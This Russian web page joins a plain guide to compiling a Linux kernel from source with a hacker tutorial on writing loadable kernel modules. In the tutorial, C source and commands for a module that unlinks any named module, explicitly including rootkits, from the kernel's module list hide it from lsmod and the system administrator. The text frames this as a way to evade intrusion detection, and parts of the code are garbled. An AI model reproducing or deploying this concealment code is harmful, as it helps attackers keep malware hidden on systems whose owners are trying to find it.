Краткий мануал по сборке ядра Linux с исходного кода
Итак, предположим нам надоело старое тяжёлое ядро нашего любимого пингвина, собранное неким дядей Ваней из сообщества, либо мы хотим просто обновить версию ядра, либо хотим просто большей оптимизации, а может быть какие другие погодные или религиозные причины привели нас к сборке ядра линукс из исходного кода.
НО! Есть одна проблема… мы никогда раньше этого не делали! Всё за нас делал менеджер пакетов нашего дистрибутива и от нас требовалось в худшем случае команда с консоли, в лучшем нажатие пары кнопок. Это пособие предназначено для тех, кто не боится лезть в недра ядра системы и не боится убить её в случае неудачной сборки. Чтож, пристегнём ремни и вперёд!
Перед нами лежит архив linux-.tar.bz2 либо linux-.tar.gz. Что с ними делать? правильно! нужно их распаковать, запускаем консоль от имени root и начинаем наши добрые деяния (при написании мануала я предполагаю что необходимые для компиляции пакеты, такие как gcc, phyton, module-init-tools и т.д. уже установлены, если нет, то необходимо их установить до начала процесса конфигурирования и сборки)
Распаковываем архив в каталок /usr/src/
Затем удаляем из каталога /usr/src симлинк на исходник старого ядра (если конечно таковой имеется)
и создаём симлинк на новые сорсы
Теперь, удостоверившись что все нужные для сборки пакеты имеются в наличии и установлены, набираем воздуха в грудь и делаем переход в каталог с сорсами ядра:
и вызываем меню конфигурации:
если в процессе запуска меню возникают ошибки, значит либо какой-то из необходимых пакетов не установлен, его нужно установить и снова запросить menuconfig.
Итак, вот перед нами открылось псевдографическое меню, разбитое на пункты, подпункты и т.д. Каждый пункт имеет своё название, отражающее суть содержащегося внутри, поэтому назначение каждого пункта я считаю расписывать не нужно. Поочерёдно идём по всему меню сверху вниз и выбираем нужные нам компоненты. Для этого необходимо знать аппаратную часть своего ПК, какой процессор установлен, какая архитектура нам нужна, какие наборы системной логики используются в нашем ПК, вобщем, чем больше, тем лучше, от объёма знаний будет зависеть степень оптимизации нашего ядра для конкретной машины.
Если же получилось так, что вы не знаете нужен ли вам какой-то определённый элемент, стоит посмотреть Info о нём (кнопка Info есть в меню, навигация между кнопками осуществляется клавишами курсора (left, right)). Если же данная информация не помогла определится с выбором элемента, можно включить этот элемент как модуль ядра. Выбор Элемента осуществляется клавищей space (пробел) и возможно 3 варианта выбора:
- [*], — элемент встаивается прямиком в образ ядра;
- — элемент создаётся как внешний модуль и подгружается системой по мере надобности;
- [ ], — элемент не будет включён в ядро;
Как включать элемент в ядро — непосредственно ваше дело, хочу отметить лишь то, что при включении элемента в образ ядра ( * ), увеливичивается размер образа, а образ при старте системы полностью загружается в ОЗУ и остаётся там вплоть до выключения ПК. Включение элемента как модуль уменьшает образ ядра, но увеличивает время реакции системы на событие, связанное с этим модулем. Сейчас я отмечу те пункты, которые обязательно должны быть включены в образ ядра ( * ), чтобы система успешно стартовала.
- Элементы поддержки IDE, SATA, RAID контроллеров.
- Элементы поддержки набора системной логики (I2C support, только для того набора, который установлен в вашем ПК)
- Поддержка шин PCI, PCI-E, AGP (в зависимости от того что нужно конечно)
- Поддержка систем, обслуживающих процессор (напр. powernow, Machine Check Exception и т.д.)
- Поддержка файловых систем и локалей, используемых на данном ПК
- Поддержка USB-хабов (OCHI, ECHI, UCHI, естественно только тех что поддерживаются мат. платой. Установка лишнего элемента конечно не помешает системе запустится, но он попросту будет жрать далеко не резиновую ОЗУ)
- Систему поддержки загрузки внешних модулей (Loadable Module Support)
В принципе всё необходимое я уже указал, но как рекомендация: следует включить поддержку сетевых плат, USB накопителей (USB Mass Storage Support), технологий внешних накопителей (USB-Flash, NAND и т.д., но не самих чипов… поддержку конкретных чипов лучше включить модулями ( М )), поддержку Framebuffer устройств (для запуска консоли в FB режиме используя vga или vesa драйвер (выбранный драйвер должен быть также включён в образ ядра ( * )). Также рекомендую включить в ядро системы криптования и защиты (Cryptographic API и Security Options). Далее выбираем нужные нам модули. После того как конфигурирование на ваш взгляд закончено, несколько раз жмём ESC, пока нам не будет выдано сообщение типа
в нём отвечаем yes. Конфигурация нашего ядра будет сохранена с файле .config прямо в этом каталоге. Затем даём команду на компиляцию ядра и установку модулей:
Если в процессе компиляции вылезла какая-то ошибка и процесс остановился (на warning-и можно не обращать внимания, они не страшны и системе не вредят), то смотрим на каком элементе процесс остановился, снова вызываем менюконфиг и переделываем конфиг.
Когда всё таки ядро скомпилировалось и модули успешно установились, мы должны скопировать образ ядра, конфиг и файл «системной карты» в каталог /boot. Если он вынесен отдельным разделом, его нужно примонтировать:
Далее есть несколько способов, можно использовать make install для копирования всего что нам надо в /boot, либо выполнить это руками:
Примечание. Файл Initrd. Этот файл по сути служит образом, из которого будут подключаться модули ядра во время его запуска. НО! Если вы включили в ядро ( * ) всё, что необходимо для успешного запуска, то этот файл можно не создавать, в таком случае система будет подгружать модули из /lib/modules. Поэтому создание его не обязательно. Если же он необходим, то используем для этого специальные утилиты (напр. genkernel или mkinitrd) и получившийся файл тоже копируем в /boot.
После этого редактируем конфигурационный файл загрузчика, указываем ему новый образ ядра, новый initrd файл (если нужно) а также дописываем в строке образа ядра нужные опции. Как конкретно это делается смотрите в man-e к вашему загрузчику.
Вот собственно и всё. Новое ядро собрано, оно гораздо компактнее ядра от сообщества, и более «заточено» под ваш конкретный ПК. Перезагружаемся и в случае успешного запуска системы радуемся жизни. Для полного счастья набираем в консоли
и удостоверяемся что мы используем именно новую, нужную нам версию ядра.
На этой доброй ноте я заканчиваю свою статью и желаю удачи в таком нелёгком деле, как конфигурирование и сборка сердца вашего «пингвина».
Кодим в ядре Linux`а №1
Много лет тому назад, когда наша эра только-только начиналась (когда был создан первый персональный компьютер ;-)), хакеры запускали свои бэкдоры дающие шелл и т.д. и называли эти проги названиями типа top, ps, nfsd, etc для того, чтобы сисоп когда смотрел список работающих процессов думал, что эти проги нормальные системные утилиты и игнорировал их. Но технический прогресс не стоял на месте и эту фишку всё чаще и чаще стали просекать. Тогда хаксоры стали модифицировать такие системные утилиты как ps & top чтобы сисоп не мог видеть некоторые процессы, утилиты ls & du чтобы сисоп не мог видеть некоторые каталоги и файлы и т.д. Но прогресс продолжал шагать уверенным шагом вперёд в светлое будущее.
Были разработаны такие тулзы, как, например, Tripwire, которые могли стучать сисопу когда видели что какие-то файлы были модифицированы. Для того, чтобы контролировать всё больше и больше территории из одной точки хаксоры стали патчить системные библиотеки. Сисопы в ответ придумывали свои извраты. В конце концов, эта жестокая и беспощадная война руткитов и бэкдоров с системами обнаружения вторжения перешла на новое поле боя — в саму операционную систему. Хакеры
стали модифицировать самый центр операционных систем — ядро (kernel). И действительно это рульно — подкрутил немного ядро ОС в нужном месте и никакой ls не покажет твоих файлов. Даже ls с read-only диска со статической линковкой библиотечных функций будет молчать!
🙂 Кроме того, обнаружить и удалить Rootkit из ядра ОС тяжелее, чем обычный,
да и возможностей у него больше. Поэтому создание руткитов, бэкдоров и других тулзов для работы в самом сердце операционки стало очень эффективным и популярным занятием последние несколько лет. Теперь уже есть достаточно много док на эту тему, но большинство из них на английском. Кроме того, уже разработано достаточно много новых фич и те, которые описывались в доках 2-3 года назад уже устарели. Поэтому я и решил написать эту доку. Но тема эта довольно большая и сложная, так что я решил написать об этом в нескольких частях.
А теперь собственно о том как мы будем «подкручивать» операционку.
Исходники ядра Linux открыты и распространяются бесплатно. Поэтому их можно модифицировать, компилировать и создавать новое ядро таким каким надо. Но компиляция может занимать слишком много времени и к тому же надо перезагружать комп и т.д. и т.п. Так что это ломно даже для самих разработчиков ядра Linux’а. Это и стало одной из причин создания системы LKM для Linux’а. LKM — Loadable Kernel Modules — подгружаемые модули ядра.
LKM — это что-то на подобии Plug-in’ов для Web-Browser’ов
и других программ. То есть LKM реализует добавление какой-то новой возможности в уже существующую большую программу не перерабатывая ее исходный код, не перекомпилируя и не переинсталируя
ее, а просто загрузкой нужного модуля в нужный момент. Подобные системы существуют во многих ОС, но в этой статье, как я уже сказал, я затрону только LKM систему Linux’а.
Для понимания этой статьи необходимы хотя бы базовые знания языка C и ОС Linux.
Основные команды для работы с LKM модулями под
Linux:
- lsmod — (LiSt MODules) просмотр списка загруженных модулей
- insmod — (INStall MODule) загрузка модуля
- rmmod — (ReMove MODule) выгрузка модуля
Основные правила и отличия программирования LKM’ов для ядра (kernel space) от обычных прог
(user space):
1. Практически нет никаких методов какого-либо контроля. В kernel’е у тебя абсолютная власть, никаких ограничений — ты Царь
🙂 (естественно тебе нужны права root’а что запустить модуль).
2. Так как практически нет методов контроля, то нет и методов исправления твоих ошибок. Если твой мод сделает что-то неправильно, то может зависнуть весь комп и kernel (ядро) убежит в «panic’е» :(. Поэтому на удаленной системе перед загрузкой модуля можешь выполнять эту команду:
$ echo «1» > /proc/sys/kernel/panic
Тогда, если произойдет panic, комп автоматически перезагрузится.
3. Нет доступа к библиотекам libc, и т.д.
4. Нет простого способа использовать системные вызовы. Иногда можно обойтись другими способами, но иногда придется
и чуть-чуть извращаться.
5. Немного другие include файлы: сначала должны быть
#define __KERNEL__
#define MODULE
а потом
#include
и другие при необходимости.
6. Вместо главной функции main() как в обычной проге в kernel module должна быть функция init_module(). А также cleanup_module() которая будет вызываться когда модуль будет выгружаться.
7. Параметры модулю должны передаваться не через переменные argc, argv, а с использованием MODULE_PARM (пример смотри в модулях ниже).
8. Вместо некоторых привычных функций надо использовать их kernel space аналоги: вместо malloc -> kmalloc, free -> kfree, printf -> printk. Причем у функции kmalloc не один аргумент, как у malloc, а два: желаемый объем памяти и ее тип. В большинстве случаев тип памяти — GFP_KERNEL но может быть и GFP_ATOMIC. Подробней об этом позже.
9. Компилировать модуль надо не в исполняемую (executable) прогу, а в объектный (object) файл (например с помощью флага -c к компилятору gcc).
А теперь давай напишем традиционный Hello World! но в виде kernel module 🙂
int init_module()
<
printk(«Hack World!\n»);
return 0;
>
Теперь в консоле (будем считать, что ты сохранил исходный код в файле mod.c):
$ gcc mod.c -c #комилируем модуль в object файл (а не executable!)
$ insmod mod.o # запихиваем его в kernel
$ tail -n 1 /var/log/messages # читаем заветные слова 🙂
Oct 20 11:28:54 kernel: Hack World!
Если ты работаешь на обычной консоле, а не на вируальной (без X’ов и не по telnet’у/ssh), то ты
увидиш текст Hack World! на экране и без команды tail.
Ну а теперь давай перейдем к более полезным наворотам.
Обнаружение и скрытие модулей.
Список загруженных модулей можно получить командой lsmod или cat
/proc/modules. А значит сисоп может обнаружить наш модуль и удалить его командой
rmmod! Так что теперь мы поговорим о том как прятать модули 🙂
Это можно сделать несколькими способами, но мы воспользуемся самым простым и эффективным. Для начала небольшое отступление.
Возможно ты уже слышал о таком методе хранения данных как «связный список». Это когда элемент списка содержит в себе данные и еще и ссылку на следующий элемент списка. Некоторую информацию очень удобно хранить и обрабатывать в таком виде. И много инфы в Linux kernel’е так и хранится — есть связный список содержащий инфу о загруженных модулях (но не модули! а инфу — то есть название, размер, состояние и т. д.). Инфа о модуле содержится в структуре module (структкра module описана в файле
/usr/src/linux/include/linux/module.h). Инфа о процессах, например, тоже хранится в связном списке в виде структуры task_struct (структура task_struct описана в файле
/usr/src/linux/include/linux/sched.h).
Когда кто-то хочет посмотреть список загруженных модулей (командой lsmod или cat /proc/modules) специальная функция (а точнее
modules_read_proc(), которая лежит в /usr/src/linux/fs/proc/proc_misc.c) проходится по связному списку инфы о модулях и выводит их названия и размер.
Для того, чтобы скрыть модуль мы просто удалим информацию о нем из этого связного списка, но сам модуль останется и будет работать дальше :).
А удалить элемент из связного списка просто — нужно в элементе, находящимся перед удаляемым, поменять значение указателя на следующий элемент
— на такой, чтобы он указывал на следующий элемент после удаляемого, а не на удаляемый.
А теперь смотри исходник мода (с комментариями) который может прятать любой мод и показывать его обратно.
В этом модуле нет ничего сложного — в основном он просто работает со связным списком структур module. Ищет, удаляет и восстанавливает указатели-ссылки.
char *hide;
long show=0;
// следующие 2 строки нужны чтоб передать модулю параметры (адрес или название мода для скрытия или восстановления)
MODULE_PARM(hide, «s»);
MODULE_PARM(show, «l»);
int init_module(void)
<
struct module *corr, *prec;
if(!hide) // если не указан модуль для скрытия
<
if(show) // если указан модуль для восстановления
<
// впихнуть инфу о модуле в связный список сделав его вновь видимым
((struct module *)show)->next = __this_module.next;
__this_module.next = (struct module *)show;
>
return -1;
>
prec = corr = &__this_module; // инициализируем переменные для поиска
while(corr != NULL) // проходимся по всем элементам связного списка
<
if(strcmp(corr->name, hide) == 0) // если название текущего модуля = названию скрываемого
<
printk(«0x%p\n», corr); // сообщить адрес инфы о модуле, чтоб потом его можно было сделать снова видимым
prec->next = corr->next; // убираем инфу о модуле из списка меняя значение ссылки-указателя. после чего мод становится невидимым 🙂
>
prec = corr;
corr = corr->next;
>
Функция cleanup_module() не нужна, т.к. модуль сразу после загрузки и скрытия/восстановления нужного модуля делает вид, что произошла ошибка и автоматически выкидывается. insmod пишет что произошла ошибка (hmod.o: init_module: Operation not permitted . ), но это нормально и ненужно делать rmmod 🙂
Использование мода.
Компилируем:
$ insmod hmod.o hide=имя_модуля_для_прятания
Теперь модуль будет спрятан (можно проверить командой
lsmod), а адрес инфы о модуле будет выведен на консоль и в /var/log/messages
Смотрим адрес инфы о модуле:
$ tail -n 1 /var/log/messages
Oct 20 11:43:54 kernel: 0xd089200
А теперь снова показываем модуль путем впихивания инфы о модуле в связный список (необходимо указать адрес из
/var/log/messages):
$ insmod hmod.o show=0xd089200
С этим модулем ты можешь прятать любой мод, rootkit, и т. д.
Но помни: сисоп может, например, модифицировать команду insmod,
чтобы она стучала ему на мыло когда кто-то загружает модуль!
О более продвинутых методах загрузки, обнаружения и скрытия модулей мы поговорим в следующий раз.
